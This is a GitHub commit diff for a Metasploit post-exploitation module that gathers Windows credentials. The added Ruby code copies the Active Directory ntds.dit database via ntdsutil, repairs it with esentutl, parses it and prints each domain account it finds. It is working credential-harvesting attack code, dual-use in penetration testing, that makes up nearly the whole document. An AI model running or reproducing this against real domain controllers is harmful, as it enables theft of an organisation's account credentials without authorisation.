File tree Expand file tree Collapse file tree 1 file changed +15
-0
lines changed
modules/post/windows/gather/credentials Expand file tree Collapse file tree 1 file changed +15
-0
lines changed Original file line number Diff line number Diff line change 6
6
require 'msf/core'
7
7
require 'rex'
8
8
require 'msf/core/auxiliary/report'
9
+ require 'metasploit/framework/ntds/parser'
9
10
10
11
class Metasploit3 < Msf ::Post
11
12
include Msf ::Post ::Windows ::Registry
@@ -32,6 +33,14 @@ def initialize(info={})
32
33
def run
33
34
if preconditions_met?
34
35
ntds_file = copy_database_file
36
+ unless ntds_file . nil?
37
+ print_status "Repairing NTDS database after copy..."
38
+ print_status repair_ntds ( ntds_file )
39
+ ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
40
+ ntds_parser . each_account do |ad_account |
41
+ print_good ad_account . to_s
42
+ end
43
+ end
35
44
end
36
45
end
37
46
@@ -65,6 +74,7 @@ def ntdsutil_method
65
74
result = cmd_exec ( "ntdsutil.exe" , command_arguments )
66
75
if result . include? "IFM media created successfully"
67
76
file_path = "#{ tmp_path } \\ Active Directory\\ ntds.dit"
77
+ print_status "NTDS database copied to #{ file_path } "
68
78
else
69
79
print_error "There was an error copying the ntds.dit file!"
70
80
file_path = nil
@@ -94,6 +104,11 @@ def preconditions_met?
94
104
return status
95
105
end
96
106
107
+ def repair_ntds ( path = '' )
108
+ arguments = "/p /o \" #{ path } \" "
109
+ cmd_exec ( "esentutl" , arguments )
110
+ end
111
+
97
112
def vss_method
98
113
99
114
end
You can’t perform that action at this time.
0 commit comments